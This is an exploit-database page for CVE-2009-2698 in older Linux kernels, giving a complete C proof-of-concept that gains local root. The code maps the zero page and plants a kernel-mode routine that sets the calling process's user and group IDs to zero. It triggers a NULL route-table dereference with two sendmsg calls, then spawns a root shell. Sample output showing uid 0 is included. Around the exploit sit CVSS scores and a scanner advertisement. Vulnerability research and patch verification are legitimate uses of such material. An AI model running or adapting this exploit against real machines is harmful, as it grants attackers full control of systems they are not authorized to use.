Lucene search

K
exploitpack
AndiEXPLOITPACK:FFC7937A2F3CCF339D4184C9A6F06FDC
HistorySep 02, 2009 - 12:00 a.m.

Linux Kernel 2.6.19 (Debian 4) - udp_sendmsg Local Privilege Escalation (3)

2009-09-0200:00:00
Andi
11

7.2 High

CVSS2

Access Vector

LOCAL

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:L/AC:L/Au:N/C:C/I:C/A:C

Linux Kernel 2.6.19 (Debian 4) - udp_sendmsg Local Privilege Escalation (3)

/***********************************************************
 * hoagie_udp_sendmsg.c
 * LOCAL LINUX KERNEL ROOT EXPLOIT (< 2.6.19) - CVE-2009-2698
 *
 * udp_sendmsg bug exploit via (*output) callback function
 * used in dst_entry / rtable
 *
 * Bug reported by Tavis Ormandy and Julien Tinnes 
 * of the Google Security Team
 *
 * Tested with Debian Etch (r0)
 *
 * $ cat /etc/debian_version
 * 4.0
 * $ uname -a
 * Linux debian 2.6.18-4-686 #1 SMP Mon Mar 26 17:17:36 UTC 2007 i686 GNU/Linux
 * $ gcc hoagie_udp_sendmsg.c -o hoagie_udp_sendmsg
 * $ ./hoagie_udp_sendmsg
 * hoagie_udp_sendmsg.c - linux root < 2.6.19 local
 * -andi / void.at
 *
 * sh-3.1# id
 * uid=0(root) gid=0(root) Gruppen=20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),1000(andi)
 * sh-3.1#
 *
 * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
 * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
 * DAMAGE DONE USING THIS PROGRAM.
 *
 * VOID.AT Security
 * andi@void.at
 * http://www.void.at
 *
 ************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/mman.h>

/**
 * this code will be called from NF_HOOK via (*output) callback in kernel mode
 */
void set_current_task_uids_gids_to_zero() {
   asm("push %eax\n"
       "movl $0xffffe000, %eax\n"
       "andl %esp, %eax\n"
       "movl (%eax), %eax\n"
       "movl $0x0, 0x150(%eax)\n"
       "movl $0x0, 0x154(%eax)\n"
       "movl $0x0, 0x158(%eax)\n"
       "movl $0x0, 0x15a(%eax)\n"
       "movl $0x0, 0x160(%eax)\n"
       "movl $0x0, 0x164(%eax)\n"
       "movl $0x0, 0x168(%eax)\n"
       "movl $0x0, 0x16a(%eax)\n"
       "pop  %eax\n");
}

int main(int argc, char **argv) {
   int s;
   struct msghdr header;
   struct sockaddr_in sin;
   char *rtable = NULL;

   fprintf(stderr,
           "hoagie_udp_sendmsg.c - linux root <= 2.6.19 local\n"
	              "-andi / void.at\n\n");

   s = socket(PF_INET, SOCK_DGRAM, 0);
   if (s == -1) {
      fprintf(stderr, "[*] can't create socket\n");
      exit(-1);
   }

   /**
    * initialize required variables
    */
   memset(&header, 0, sizeof(struct msghdr));
   memset(&sin, 0, sizeof(struct sockaddr_in));
   sin.sin_family = AF_INET;
   sin.sin_addr.s_addr = inet_addr("127.0.0.1");
   sin.sin_port = htons(22);
   header.msg_name = &sin;
   header.msg_namelen = sizeof(sin);

   /**
    * and this is the trick:
    * we can use (*output)(struct sk_buff*) from dst_entry (used by rtable) as a callback (=> offset 0x74)
    * so we map our rtable buffer at offset 0 and set output callback function
    *
    * struct dst_entry
    * {
    *         struct dst_entry        *next;
    *         atomic_t                __refcnt;       client references
    *         int                     __use;
    *         struct dst_entry        *child;
    *         struct net_device       *dev;
    *         short                   error;
    *         short                   obsolete;
    *         int                     flags;
    * #define DST_HOST                1
    * #define DST_NOXFRM              2
    * #define DST_NOPOLICY            4
    * #define DST_NOHASH              8
    * #define DST_BALANCED            0x10
    *         unsigned long           lastuse;
    *         unsigned long           expires;
    * 
    *         unsigned short          header_len;     * more space at head required *
    *         unsigned short          trailer_len;    * space to reserve at tail *
    * 
    *         u32                     metrics[RTAX_MAX];
    *         struct dst_entry        *path;
    * 
    *         unsigned long           rate_last;      * rate limiting for ICMP *
    *         unsigned long           rate_tokens;
    * 
    *         struct neighbour        *neighbour;
    *         struct hh_cache         *hh;
    *         struct xfrm_state       *xfrm;
    * 
    *         int                     (*input)(struct sk_buff*);
    *         int                     (*output)(struct sk_buff*);
    * 
    * #ifdef CONFIG_NET_CLS_ROUTE
    *         __u32                   tclassid;
    * #endif
    * 
    *         struct  dst_ops         *ops;
    *         struct rcu_head         rcu_head;
    * 
    *         char                    info[0];
    * };
    *
    * struct rtable
    * {
    *         union
    *         {
    *                 struct dst_entry        dst;
    *                 struct rtable           *rt_next;
    *         } u;
    *
    *         struct in_device        *idev;
    *
    *         unsigned                rt_flags;
    *         __u16                   rt_type;
    *         __u16                   rt_multipath_alg;
    *
    *         __be32                  rt_dst; * Path destination     *
    *         __be32                  rt_src; * Path source          *
    *         int                     rt_iif;
    *
    *         * Info on neighbour *
    *         __be32                  rt_gateway;
    *
    *         * Cache lookup keys *
    *         struct flowi            fl;
    *
    *         * Miscellaneous cached information *
    *          __be32                  rt_spec_dst; * RFC1122 specific destination *
    *         struct inet_peer        *peer; * long-living peer info *
    * };
    *
    */
   rtable = mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
   if (rtable == MAP_FAILED) {
      fprintf(stderr, "[*] mmap failed\n");
      exit(-1);
   }
   *(int *)(rtable + 0x74) = (int)set_current_task_uids_gids_to_zero;

   /* trigger exploit
    *
    * the second sendmsg() call will call ip_append_data() with rt == NULL
    * because of:
    * if (up->pending) {
    *          *
    *          * There are pending frames.
    *          * The socket lock must be held while it's corked.
    *          *
    *          lock_sock(sk);
    *          if (likely(up->pending)) {
    *                    if (unlikely(up->pending != AF_INET)) {
    *                            release_sock(sk);
    *                            return -EINVAL;
    *                    }
    *                    goto do_append_data;
    *            }
    *            release_sock(sk);
    *    }
    *
    */
   sendmsg(s, &header, MSG_MORE|MSG_PROXY);
   sendmsg(s, &header, 0);

   close(s);

   system("/bin/sh");

   return 0;
}

// milw0rm.com [2009-09-02]
How to find holes in your network?

Try incredible fast Vulners Perimeter Scanner and find vulnerabilities and unnecessary ip and ports in network devices inside your network before anyone else.

Try Network Scanner

7.2 High

CVSS2

Access Vector

LOCAL

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:L/AC:L/Au:N/C:C/I:C/A:C

Related for EXPLOITPACK:FFC7937A2F3CCF339D4184C9A6F06FDC